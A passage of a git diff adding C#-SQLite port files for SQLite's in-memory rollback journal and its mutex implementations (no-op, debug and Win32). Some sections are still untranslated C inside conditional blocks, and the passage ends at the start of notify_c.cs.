Bitmask = System.UInt64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_int64 = System.Int64; + using MemJournal = CSSQLite.sqlite3_file; + + public partial class CSSQLite + { + /* + ** 2007 August 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains code use to implement an in-memory rollback journal. + ** The in-memory rollback journal is used to journal transactions for + ** ":memory:" databases and when the journal_mode=MEMORY pragma is used. + ** + ** @(#) $Id: memjournal.c,v 1.12 2009/05/04 11:42:30 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + //#include "sqliteInt.h" + + /* Forward references to internal structures */ + //typedef struct MemJournal MemJournal; + //typedef struct FilePoint FilePoint; + //typedef struct FileChunk FileChunk; + + /* Space to hold the rollback journal is allocated in increments of + ** this many bytes. + ** + ** The size chosen is a little less than a power of two. That way, + ** the FileChunk object will have a size that almost exactly fills + ** a power-of-two allocation. This mimimizes wasted space in power-of-two + ** memory allocators. + */ + //#define JOURNAL_CHUNKSIZE ((int)(1024-sizeof(FileChunk*))) + const int JOURNAL_CHUNKSIZE = 4096; + + /* Macro to find the minimum of two numeric values. + */ + //#if ! MIN + //# define MIN(x,y) ((x)<(y)?(x):(y)) + //#endif + static int MIN( int x, int y ) { return ( x < y ) ? x : y; } + static int MIN( int x, u32 y ) { return ( x < y ) ? x : (int)y; } + + /* + ** The rollback journal is composed of a linked list of these structures. + */ + public class FileChunk + { + public FileChunk pNext; /* Next chunk in the journal */ + public byte[] zChunk = new byte[JOURNAL_CHUNKSIZE]; /* Content of this chunk */ + }; + + /* + ** An instance of this object serves as a cursor into the rollback journal. + ** The cursor can be either for reading or writing. + */ + public class FilePoint + { + public int iOffset; /* Offset from the beginning of the file */ + public FileChunk pChunk; /* Specific chunk into which cursor points */ + }; + + /* + ** This subclass is a subclass of sqlite3_file. Each open memory-journal + ** is an instance of this class. + */ + public partial class sqlite3_file + { + //public sqlite3_io_methods pMethods; /* Parent class. MUST BE FIRST */ + public FileChunk pFirst; /* Head of in-memory chunk-list */ + public FilePoint endpoint; /* Pointer to the end of the file */ + public FilePoint readpoint; /* Pointer to the end of the last xRead() */ + }; + + /* + ** Read data from the in-memory journal file. This is the implementation + ** of the sqlite3_vfs.xRead method. + */ + static int memjrnlRead( + sqlite3_file pJfd, /* The journal file from which to read */ + byte[] zBuf, /* Put the results here */ + int iAmt, /* Number of bytes to read */ + sqlite3_int64 iOfst /* Begin reading at this offset */ + ) + { + MemJournal p = (MemJournal)pJfd; + byte[] zOut = zBuf; + int nRead = iAmt; + int iChunkOffset; + FileChunk pChunk; + + /* SQLite never tries to read past the end of a rollback journal file */ + Debug.Assert( iOfst + iAmt <= p.endpoint.iOffset ); + + if ( p.readpoint.iOffset != iOfst || iOfst == 0 ) + { + int iOff = 0; + for ( pChunk = p.pFirst ; + ALWAYS( pChunk != null ) && ( iOff + JOURNAL_CHUNKSIZE ) <= iOfst ; + pChunk = pChunk.pNext + ) + { + iOff += JOURNAL_CHUNKSIZE; + } + } + else + { + pChunk = p.readpoint.pChunk; + } + + iChunkOffset = (int)( iOfst % JOURNAL_CHUNKSIZE ); + int izOut = 0; + do + { + int iSpace = JOURNAL_CHUNKSIZE - iChunkOffset; + int nCopy = MIN( nRead, ( JOURNAL_CHUNKSIZE - iChunkOffset ) ); + Buffer.BlockCopy( pChunk.zChunk, iChunkOffset, zOut, izOut, nCopy ); //memcpy( zOut, pChunk.zChunk[iChunkOffset], nCopy ); + izOut += nCopy;// zOut += nCopy; + nRead -= iSpace; + iChunkOffset = 0; + } while ( nRead >= 0 && ( pChunk = pChunk.pNext ) != null && nRead > 0 ); + p.readpoint.iOffset = (int)( iOfst + iAmt ); + p.readpoint.pChunk = pChunk; + + return SQLITE_OK; + } + + /* + ** Write data to the file. + */ + static int memjrnlWrite( + sqlite3_file pJfd, /* The journal file into which to write */ + byte[] zBuf, /* Take data to be written from here */ + int iAmt, /* Number of bytes to write */ + sqlite3_int64 iOfst /* Begin writing at this offset into the file */ + ) + { + MemJournal p = (MemJournal)pJfd; + int nWrite = iAmt; + byte[] zWrite = zBuf; + int izWrite = 0; + + /* An in-memory journal file should only ever be appended to. Random + ** access writes are not required by sqlite. + */ + Debug.Assert( iOfst == p.endpoint.iOffset ); + UNUSED_PARAMETER( iOfst ); + + while ( nWrite > 0 ) + { + FileChunk pChunk = p.endpoint.pChunk; + int iChunkOffset = (int)( p.endpoint.iOffset % JOURNAL_CHUNKSIZE ); + int iSpace = MIN( nWrite, JOURNAL_CHUNKSIZE - iChunkOffset ); + + if ( iChunkOffset == 0 ) + { + /* New chunk is required to extend the file. */ + FileChunk pNew = new FileChunk();// sqlite3_malloc( sizeof( FileChunk ) ); + if ( null == pNew ) + { + return SQLITE_IOERR_NOMEM; + } + pNew.pNext = null; + if ( pChunk != null ) + { + Debug.Assert( p.pFirst != null ); + pChunk.pNext = pNew; + } + else + { + Debug.Assert( null == p.pFirst ); + p.pFirst = pNew; + } + p.endpoint.pChunk = pNew; + } + + Buffer.BlockCopy( zWrite, izWrite, p.endpoint.pChunk.zChunk, iChunkOffset, iSpace ); //memcpy( &p.endpoint.pChunk.zChunk[iChunkOffset], zWrite, iSpace ); + izWrite += iSpace;//zWrite += iSpace; + nWrite -= iSpace; + p.endpoint.iOffset += iSpace; + } + + return SQLITE_OK; + } + + /* + ** Truncate the file. + */ + static int memjrnlTruncate( sqlite3_file pJfd, sqlite3_int64 size ) + { + MemJournal p = (MemJournal)pJfd; + FileChunk pChunk; + Debug.Assert( size == 0 ); + UNUSED_PARAMETER( size ); + pChunk = p.pFirst; + while ( pChunk != null ) + { + FileChunk pTmp = pChunk; + pChunk = pChunk.pNext; + //sqlite3_free( ref pTmp ); + } + sqlite3MemJournalOpen( pJfd ); + return SQLITE_OK; + } + + /* + ** Close the file. + */ + static int memjrnlClose( MemJournal pJfd ) + { + memjrnlTruncate( pJfd, 0 ); + return SQLITE_OK; + } + + + /* + ** Sync the file. + ** + ** Syncing an in-memory journal is a no-op. And, in fact, this routine + ** is never called in a working implementation. This implementation + ** exists purely as a contingency, in case some malfunction in some other + ** part of SQLite causes Sync to be called by mistake. + */ + static int memjrnlSync( sqlite3_file NotUsed, int NotUsed2 ) + { /*NO_TEST*/ + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); /*NO_TEST*/ + Debug.Assert( false ); /*NO_TEST*/ + return SQLITE_OK; /*NO_TEST*/ + } /*NO_TEST*/ + + /* + ** Query the size of the file in bytes. + */ + static int memjrnlFileSize( sqlite3_file pJfd, ref int pSize ) + { + MemJournal p = (MemJournal)pJfd; + pSize = p.endpoint.iOffset; + return SQLITE_OK; + } + + /* + ** Table of methods for MemJournal sqlite3_file object. + */ + static sqlite3_io_methods MemJournalMethods = new sqlite3_io_methods( + 1, /* iVersion */ + (dxClose)memjrnlClose, /* xClose */ + (dxRead)memjrnlRead, /* xRead */ + (dxWrite)memjrnlWrite, /* xWrite */ + (dxTruncate)memjrnlTruncate, /* xTruncate */ + (dxSync)memjrnlSync, /* xSync */ + (dxFileSize)memjrnlFileSize, /* xFileSize */ + null, /* xLock */ + null, /* xUnlock */ + null, /* xCheckReservedLock */ + null, /* xFileControl */ + null, /* xSectorSize */ + null /* xDeviceCharacteristics */ + ); + + /* + ** Open a journal file. + */ + static void sqlite3MemJournalOpen( sqlite3_file pJfd ) + { + MemJournal p = (MemJournal)pJfd; + //memset( p, 0, sqlite3MemJournalSize() ); + p.pFirst = null; + p.endpoint = new FilePoint(); + p.readpoint = new FilePoint(); + p.pMethods = MemJournalMethods; + } + + /* + ** Return true if the file-handle passed as an argument is + ** an in-memory journal + */ + static bool sqlite3IsMemJournal( sqlite3_file pJfd ) + { + return pJfd.pMethods == MemJournalMethods; + } + + /* + ** Return the number of bytes required to store a MemJournal that uses vfs + ** pVfs to create the underlying on-disk files. + */ + static int sqlite3MemJournalSize() + { + return 3096; // sizeof( MemJournal ); + } + } +} diff --git a/SQLite/src/mutex_c.cs b/SQLite/src/mutex_c.cs new file mode 100644 index 0000000..e51c267 --- /dev/null +++ b/SQLite/src/mutex_c.cs @@ -0,0 +1,167 @@ +using System; +using System.Diagnostics; +using System.Threading; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 14 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement mutexes. + ** + ** This file contains code that is common across all mutex implementations. + ** + ** $Id: mutex.c,v 1.31 2009/07/16 18:21:18 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + +#if !SQLITE_MUTEX_OMIT +/* +** Initialize the mutex system. +*/ +static int sqlite3MutexInit() +{ +int rc = SQLITE_OK; +if ( sqlite3GlobalConfig.bCoreMutex ) +{ +if ( sqlite3GlobalConfig.mutex.xMutexAlloc != null ) +{ +/* If the xMutexAlloc method has not been set, then the user did not +** install a mutex implementation via sqlite3_config() prior to +** sqlite3_initialize() being called. This block copies pointers to +** the default implementation into the sqlite3Config structure. +** +*/ +sqlite3_mutex_methods p = sqlite3DefaultMutex(); +sqlite3_mutex_methods pTo = sqlite3GlobalConfig.mutex; + + memcpy(pTo, pFrom, offsetof(sqlite3_mutex_methods, xMutexAlloc)); + memcpy(&pTo->xMutexFree, &pFrom->xMutexFree, + sizeof(*pTo) - offsetof(sqlite3_mutex_methods, xMutexFree)); + pTo->xMutexAlloc = pFrom->xMutexAlloc; +} + rc = sqlite3GlobalConfig.mutex.xMutexInit(); +} + +return rc; +} + +/* +** Shutdown the mutex system. This call frees resources allocated by +** sqlite3MutexInit(). +*/ +static int sqlite3MutexEnd() +{ +int rc = SQLITE_OK; +if( sqlite3GlobalConfig.mutex.xMutexEnd ){ +rc = sqlite3GlobalConfig.mutex.xMutexEnd(); +} +return rc; +} + +/* +** Retrieve a pointer to a static mutex or allocate a new dynamic one. +*/ +static sqlite3_mutex sqlite3_mutex_alloc( int id ) +{ +#if !SQLITE_OMIT_AUTOINIT +if ( sqlite3_initialize() != 0 ) return null; +#endif +return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); +} + +static sqlite3_mutex sqlite3MutexAlloc( int id ) +{ +if ( ! sqlite3GlobalConfig.bCoreMutex ) +{ +return null; +} +return sqlite3GlobalConfig.mutex.xMutexAlloc( id ); +} + +/* +** Free a dynamic mutex. +*/ +static void sqlite3_mutex_free( ref sqlite3_mutex p ) +{ +if ( p != null ) +{ +sqlite3GlobalConfig.mutex.xMutexFree( p ); +} +} + +/* +** Obtain the mutex p. If some other thread already has the mutex, block +** until it can be obtained. +*/ +static void sqlite3_mutex_enter( sqlite3_mutex p ) +{ +if ( p != null ) +{ +sqlite3GlobalConfig.mutex.xMutexEnter( p ); +} +} + +/* +** Obtain the mutex p. If successful, return SQLITE_OK. Otherwise, if another +** thread holds the mutex and it cannot be obtained, return SQLITE_BUSY. +*/ +static int sqlite3_mutex_try( sqlite3_mutex p ) +{ +int rc = SQLITE_OK; +if ( p != null ) +{ +return sqlite3GlobalConfig.mutex.xMutexTry( p ); +} +return rc; +} + +/* +** The sqlite3_mutex_leave() routine exits a mutex that was previously +** entered by the same thread. The behavior is undefined if the mutex +** is not currently entered. If a NULL pointer is passed as an argument +** this function is a no-op. +*/ +static void sqlite3_mutex_leave( sqlite3_mutex p ) +{ +if ( p != null ) +{ +sqlite3GlobalConfig.mutex.xMutexLeave( p ); +} +} + +#if !NDEBUG +/* +** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are +** intended for use inside Debug.Assert() statements. +*/ +static bool sqlite3_mutex_held( sqlite3_mutex p ) +{ +return ( p == null || sqlite3GlobalConfig.mutex.xMutexHeld( p ) != 0 ) ; +} +static bool sqlite3_mutex_notheld( sqlite3_mutex p ) +{ +return ( p == null || sqlite3GlobalConfig.mutex.xMutexNotheld( p ) != 0 ) ; +} +#endif + +#endif //* SQLITE_OMIT_MUTEX */ + } +} diff --git a/SQLite/src/mutex_h.cs b/SQLite/src/mutex_h.cs new file mode 100644 index 0000000..1099ed2 --- /dev/null +++ b/SQLite/src/mutex_h.cs @@ -0,0 +1,92 @@ +#define SQLITE_OS_WIN + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 28 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains the common header for all mutex implementations. + ** The sqliteInt.h header #includes this file so that it is available + ** to all source files. We break it out in an effort to keep the code + ** better organized. + ** + ** NOTE: source files should *not* #include this header file directly. + ** Source files should #include the sqliteInt.h file and let that file + ** include this one indirectly. + ** + ** $Id: mutex.h,v 1.9 2008/10/07 15:25:48 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + + + /* + ** Figure out what version of the code to use. The choices are + ** + ** SQLITE_MUTEX_OMIT No mutex logic. Not even stubs. The + ** mutexes implemention cannot be overridden + ** at start-time. + ** + ** SQLITE_MUTEX_NOOP For single-threaded applications. No + ** mutual exclusion is provided. But this + ** implementation can be overridden at + ** start-time. + ** + ** SQLITE_MUTEX_PTHREADS For multi-threaded applications on Unix. + ** + ** SQLITE_MUTEX_W32 For multi-threaded applications on Win32. + ** + ** SQLITE_MUTEX_OS2 For multi-threaded applications on OS/2. + */ + + //#if !SQLITE_THREADSAFE + //# define SQLITE_MUTEX_OMIT + //#endif + //#if SQLITE_THREADSAFE && !defined(SQLITE_MUTEX_NOOP) + //# if SQLITE_OS_UNIX + //# define SQLITE_MUTEX_PTHREADS + //# elif SQLITE_OS_WIN + //# define SQLITE_MUTEX_W32 + //# elif SQLITE_OS_OS2 + //# define SQLITE_MUTEX_OS2 + //# else + //# define SQLITE_MUTEX_NOOP + //# endif + //#endif + + +#if SQLITE_MUTEX_OMIT + /* +** If this is a no-op implementation, implement everything as macros. +*/ + public class sqlite3_mutex { } + static sqlite3_mutex mutex = null; //sqlite3_mutex sqlite3_mutex; + static sqlite3_mutex sqlite3MutexAlloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3MutexAlloc(X) ((sqlite3_mutex*)8) + static sqlite3_mutex sqlite3_mutex_alloc( int iType ) { return new sqlite3_mutex(); }//#define sqlite3_mutex_alloc(X) ((sqlite3_mutex*)8) + static void sqlite3_mutex_free( ref sqlite3_mutex m ) { } //#define sqlite3_mutex_free(X) + static void sqlite3_mutex_enter( sqlite3_mutex m ) { } //#define sqlite3_mutex_enter(X) + static int sqlite3_mutex_try( int iType ) { return SQLITE_OK; } //#define sqlite3_mutex_try(X) SQLITE_OK + static void sqlite3_mutex_leave( sqlite3_mutex m ) { } //#define sqlite3_mutex_leave(X) + static bool sqlite3_mutex_held( sqlite3_mutex m ) { return true; }//#define sqlite3_mutex_held(X) 1 + static bool sqlite3_mutex_notheld( sqlite3_mutex m ) { return true; } //#define sqlite3_mutex_notheld(X) 1 + static int sqlite3MutexInit() { return SQLITE_OK; } //#define sqlite3MutexInit() SQLITE_OK + static void sqlite3MutexEnd() { } //#define sqlite3MutexEnd() +#endif //* defined(SQLITE_OMIT_MUTEX) */ + } +} diff --git a/SQLite/src/mutex_noop_c.cs b/SQLite/src/mutex_noop_c.cs new file mode 100644 index 0000000..d8c7cde --- /dev/null +++ b/SQLite/src/mutex_noop_c.cs @@ -0,0 +1,203 @@ +using System; +using System.Diagnostics; +using System.Threading; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2008 October 07 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement mutexes. + ** + ** This implementation in this file does not provide any mutual + ** exclusion and is thus suitable for use only in applications + ** that use SQLite in a single thread. The routines defined + ** here are place-holders. Applications can substitute working + ** mutex routines at start-time using the + ** + ** sqlite3_config(SQLITE_CONFIG_MUTEX,...) + ** + ** interface. + ** + ** If compiled with SQLITE_DEBUG, then additional logic is inserted + ** that does error checking on mutexes to make sure they are being + ** called correctly. + ** + ** $Id: mutex_noop.c,v 1.3 2008/12/05 17:17:08 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + +#if (SQLITE_MUTEX_NOOP) && !(SQLITE_DEBUG) +/* +** Stub routines for all mutex methods. +** +** This routines provide no mutual exclusion or error checking. +*/ +static int noopMutexHeld(sqlite3_mutex *p){ return 1; } +static int noopMutexNotheld(sqlite3_mutex *p){ return 1; } +static int noopMutexInit(void){ return SQLITE_OK; } +static int noopMutexEnd(void){ return SQLITE_OK; } +static sqlite3_mutex *noopMutexAlloc(int id){ return (sqlite3_mutex*)8; } +static void noopMutexFree(sqlite3_mutex *p){ return; } +static void noopMutexEnter(sqlite3_mutex *p){ return; } +static int noopMutexTry(sqlite3_mutex *p){ return SQLITE_OK; } +static void noopMutexLeave(sqlite3_mutex *p){ return; } + +sqlite3_mutex_methods *sqlite3DefaultMutex(void){ +static sqlite3_mutex_methods sMutex = { +noopMutexInit, +noopMutexEnd, +noopMutexAlloc, +noopMutexFree, +noopMutexEnter, +noopMutexTry, +noopMutexLeave, + +noopMutexHeld, +noopMutexNotheld +}; + +return &sMutex; +} +#endif //* defined(SQLITE_MUTEX_NOOP) && !defined(SQLITE_DEBUG) */ + +#if (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) +/* +** In this implementation, error checking is provided for testing +** and debugging purposes. The mutexes still do not provide any +** mutual exclusion. +*/ + +/* +** The mutex object +*/ +struct sqlite3_mutex { +int id; /* The mutex type */ +int cnt; /* Number of entries without a matching leave */ +}; + +/* +** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are +** intended for use inside Debug.Assert() statements. +*/ +static int debugMutexHeld(sqlite3_mutex *p){ +return p==0 || p->cnt>0; +} +static int debugMutexNotheld(sqlite3_mutex *p){ +return p==0 || p->cnt==0; +} + +/* +** Initialize and deinitialize the mutex subsystem. +*/ +static int debugMutexInit(void){ return SQLITE_OK; } +static int debugMutexEnd(void){ return SQLITE_OK; } + +/* +** The sqlite3_mutex_alloc() routine allocates a new +** mutex and returns a pointer to it. If it returns NULL +** that means that a mutex could not be allocated. +*/ +static sqlite3_mutex *debugMutexAlloc(int id){ +static sqlite3_mutex aStatic[6]; +sqlite3_mutex *pNew = 0; +switch( id ){ +case SQLITE_MUTEX_FAST: +case SQLITE_MUTEX_RECURSIVE: { +pNew = sqlite3Malloc(sizeof(*pNew)); +if( pNew ){ +pNew->id = id; +pNew->cnt = 0; +} +break; +} +default: { +Debug.Assert( id-2 >= 0 ); +assert( id-2 < (int)(sizeof(aStatic)/sizeof(aStatic[0])) ); +pNew = &aStatic[id-2]; +pNew->id = id; +break; +} +} +return pNew; +} + +/* +** This routine deallocates a previously allocated mutex. +*/ +static void debugMutexFree(sqlite3_mutex *p){ +Debug.Assert( p->cnt==0 ); +Debug.Assert( p->id==SQLITE_MUTEX_FAST || p->id==SQLITE_MUTEX_RECURSIVE ); +//sqlite3_free(ref p); +} + +/* +** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt +** to enter a mutex. If another thread is already within the mutex, +** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return +** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK +** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can +** be entered multiple times by the same thread. In such cases the, +** mutex must be exited an equal number of times before another thread +** can enter. If the same thread tries to enter any other kind of mutex +** more than once, the behavior is undefined. +*/ +static void debugMutexEnter(sqlite3_mutex *p){ +Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); +p->cnt++; +} +static int debugMutexTry(sqlite3_mutex *p){ +Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); +p->cnt++; +return SQLITE_OK; +} + +/* +** The sqlite3_mutex_leave() routine exits a mutex that was +** previously entered by the same thread. The behavior +** is undefined if the mutex is not currently entered or +** is not currently allocated. SQLite will never do either. +*/ +static void debugMutexLeave(sqlite3_mutex *p){ +Debug.Assert( debugMutexHeld(p) ); +p->cnt--; +Debug.Assert( p->id==SQLITE_MUTEX_RECURSIVE || debugMutexNotheld(p) ); +} + +sqlite3_mutex_methods *sqlite3DefaultMutex(void){ +static sqlite3_mutex_methods sMutex = { +debugMutexInit, +debugMutexEnd, +debugMutexAlloc, +debugMutexFree, +debugMutexEnter, +debugMutexTry, +debugMutexLeave, + +debugMutexHeld, +debugMutexNotheld +}; + +return &sMutex; +} +#endif //* (SQLITE_MUTEX_NOOP) && (SQLITE_DEBUG) */ + } +} diff --git a/SQLite/src/mutex_w32.cs b/SQLite/src/mutex_w32.cs new file mode 100644 index 0000000..9075c19 --- /dev/null +++ b/SQLite/src/mutex_w32.cs @@ -0,0 +1,300 @@ +using System; +using System.Diagnostics; +using System.Threading; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 14 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement mutexes for win32 + ** + ** $Id: mutex_w32.c,v 1.18 2009/08/10 03:23:21 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** The code in this file is only used if we are compiling multithreaded + ** on a win32 system. + */ +#if SQLITE_MUTEX_W32 + + +/* +** Each recursive mutex is an instance of the following structure. +*/ +struct sqlite3_mutex { +CRITICAL_SECTION mutex; /* Mutex controlling the lock */ +int id; /* Mutex type */ +int nRef; /* Number of enterances */ +DWORD owner; /* Thread holding this mutex */ +}; + +/* +** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, +** or WinCE. Return false (zero) for Win95, Win98, or WinME. +** +** Here is an interesting observation: Win95, Win98, and WinME lack +** the LockFileEx() API. But we can still statically link against that +** API as long as we don't call it win running Win95/98/ME. A call to +** this routine is used to determine if the host is Win95/98/ME or +** WinNT/2K/XP so that we will know whether or not we can safely call +** the LockFileEx() API. +** +** mutexIsNT() is only used for the TryEnterCriticalSection() API call, +** which is only available if your application was compiled with +** _WIN32_WINNT defined to a value >= 0x0400. Currently, the only +** call to TryEnterCriticalSection() is #ifdef'ed out, so #if +** this out as well. +*/ +#if FALSE +#if SQLITE_OS_WINCE +//# define mutexIsNT() (1) +#else +static int mutexIsNT(void){ +static int osType = 0; +if( osType==0 ){ +OSVERSIONINFO sInfo; +sInfo.dwOSVersionInfoSize = sizeof(sInfo); +GetVersionEx(&sInfo); +osType = sInfo.dwPlatformId==VER_PLATFORM_WIN32_NT ? 2 : 1; +} +return osType==2; +} +#endif //* SQLITE_OS_WINCE */ +#endif + +#if SQLITE_DEBUG +/* +** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are +** intended for use only inside Debug.Assert() statements. +*/ +static int winMutexHeld(sqlite3_mutex p){ +return p.nRef!=0 && p.owner==GetCurrentThreadId(); +} +static int winMutexNotheld(sqlite3_mutex p){ +return p.nRef==0 || p.owner!=GetCurrentThreadId(); +} +#endif + + +/* +** Initialize and deinitialize the mutex subsystem. +*/ +static sqlite3_mutex winMutex_staticMutexes[6]; +static int winMutex_isInit = 0; +/* As winMutexInit() and winMutexEnd() are called as part +** of the sqlite3_initialize and sqlite3_shutdown() +** processing, the "interlocked" magic is probably not +** strictly necessary. +*/ +static long winMutex_lock = 0; + +static int winMutexInit(void){ +/* The first to increment to 1 does actual initialization */ +if( InterlockedCompareExchange(winMutex_lock, 1, 0)==0 ){ +int i; +for(i=0; i +**
  • SQLITE_MUTEX_FAST 0 +**
  • SQLITE_MUTEX_RECURSIVE 1 +**
  • SQLITE_MUTEX_STATIC_MASTER 2 +**
  • SQLITE_MUTEX_STATIC_MEM 3 +**
  • SQLITE_MUTEX_STATIC_PRNG 4 +** +** +** The first two constants cause sqlite3_mutex_alloc() to create +** a new mutex. The new mutex is recursive when SQLITE_MUTEX_RECURSIVE +** is used but not necessarily so when SQLITE_MUTEX_FAST is used. +** The mutex implementation does not need to make a distinction +** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does +** not want to. But SQLite will only request a recursive mutex in +** cases where it really needs one. If a faster non-recursive mutex +** implementation is available on the host platform, the mutex subsystem +** might return such a mutex in response to SQLITE_MUTEX_FAST. +** +** The other allowed parameters to sqlite3_mutex_alloc() each return +** a pointer to a static preexisting mutex. Three static mutexes are +** used by the current version of SQLite. Future versions of SQLite +** may add additional static mutexes. Static mutexes are for internal +** use by SQLite only. Applications that use SQLite mutexes should +** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or +** SQLITE_MUTEX_RECURSIVE. +** +** Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST +** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() +** returns a different mutex on every call. But for the static +** mutex types, the same mutex is returned on every call that has +** the same type number. +*/ +static sqlite3_mutex *winMutexAlloc(int iType){ +sqlite3_mutex p; + +switch( iType ){ +case SQLITE_MUTEX_FAST: +case SQLITE_MUTEX_RECURSIVE: { +p = sqlite3MallocZero( sizeof(*p) ); +if( p ){ +p.id = iType; +InitializeCriticalSection(p.mutex); +} +break; +} +default: { +Debug.Assert( winMutex_isInit==1 ); +Debug.Assert(iType-2 >= 0 ); +assert( iType-2 < sizeof(winMutex_staticMutexes)/sizeof(winMutex_staticMutexes[0]) ); +p = &winMutex_staticMutexes[iType-2]; +p.id = iType; +break; +} +} +return p; +} + + +/* +** This routine deallocates a previously +** allocated mutex. SQLite is careful to deallocate every +** mutex that it allocates. +*/ +static void winMutexFree(sqlite3_mutex p){ +Debug.Assert(p ); +Debug.Assert(p.nRef==0 ); +Debug.Assert(p.id==SQLITE_MUTEX_FAST || p.id==SQLITE_MUTEX_RECURSIVE ); +DeleteCriticalSection(p.mutex); +//sqlite3DbFree(db,p); +} + +/* +** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt +** to enter a mutex. If another thread is already within the mutex, +** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return +** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK +** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can +** be entered multiple times by the same thread. In such cases the, +** mutex must be exited an equal number of times before another thread +** can enter. If the same thread tries to enter any other kind of mutex +** more than once, the behavior is undefined. +*/ +static void winMutexEnter(sqlite3_mutex p){ +Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); +EnterCriticalSection(p.mutex); +p.owner = GetCurrentThreadId(); +p.nRef++; +} +static int winMutexTry(sqlite3_mutex p){ +int rc = SQLITE_BUSY; +Debug.Assert(p.id==SQLITE_MUTEX_RECURSIVE || winMutexNotheld(p) ); +/* +** The sqlite3_mutex_try() routine is very rarely used, and when it +** is used it is merely an optimization. So it is OK for it to always +** fail. +** +** The TryEnterCriticalSection() interface is only available on WinNT. +** And some windows compilers complain if you try to use it without +** first doing some #defines that prevent SQLite from building on Win98. +** For that reason, we will omit this optimization for now. See +** ticket #2685. +*/ +#if FALSE +if( mutexIsNT() && TryEnterCriticalSection(p.mutex) ){ +p.owner = GetCurrentThreadId(); +p.nRef++; +rc = SQLITE_OK; +} +#else +UNUSED_PARAMETER(p); +#endif +return rc; +} + +/* +** The sqlite3_mutex_leave() routine exits a mutex that was +** previously entered by the same thread. The behavior +** is undefined if the mutex is not currently entered or +** is not currently allocated. SQLite will never do either. +*/ +static void winMutexLeave(sqlite3_mutex p){ +Debug.Assert(p.nRef>0 ); +Debug.Assert(p.owner==GetCurrentThreadId() ); +p.nRef--; +Debug.Assert(p.nRef==0 || p.id==SQLITE_MUTEX_RECURSIVE ); +LeaveCriticalSection(p.mutex); +} + +sqlite3_mutex_methods *sqlite3DefaultMutex(void){ +static sqlite3_mutex_methods sMutex = { +winMutexInit, +winMutexEnd, +winMutexAlloc, +winMutexFree, +winMutexEnter, +winMutexTry, +winMutexLeave, +#if SQLITE_DEBUG +winMutexHeld, +winMutexNotheld +#else +null, +null +#endif +}; + +return &sMutex; +} +#endif // * SQLITE_MUTEX_W32 */ + } +} + diff --git a/SQLite/src/notify_c.cs b/SQLite/src/notify_c.cs new file mode 100644 index 0000000..b8c7fc7 --- /dev/null +++ b/SQLite/src/notify_c.cs @@ -0,0 +1,348 @@ +using System.Diagnostics; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2009 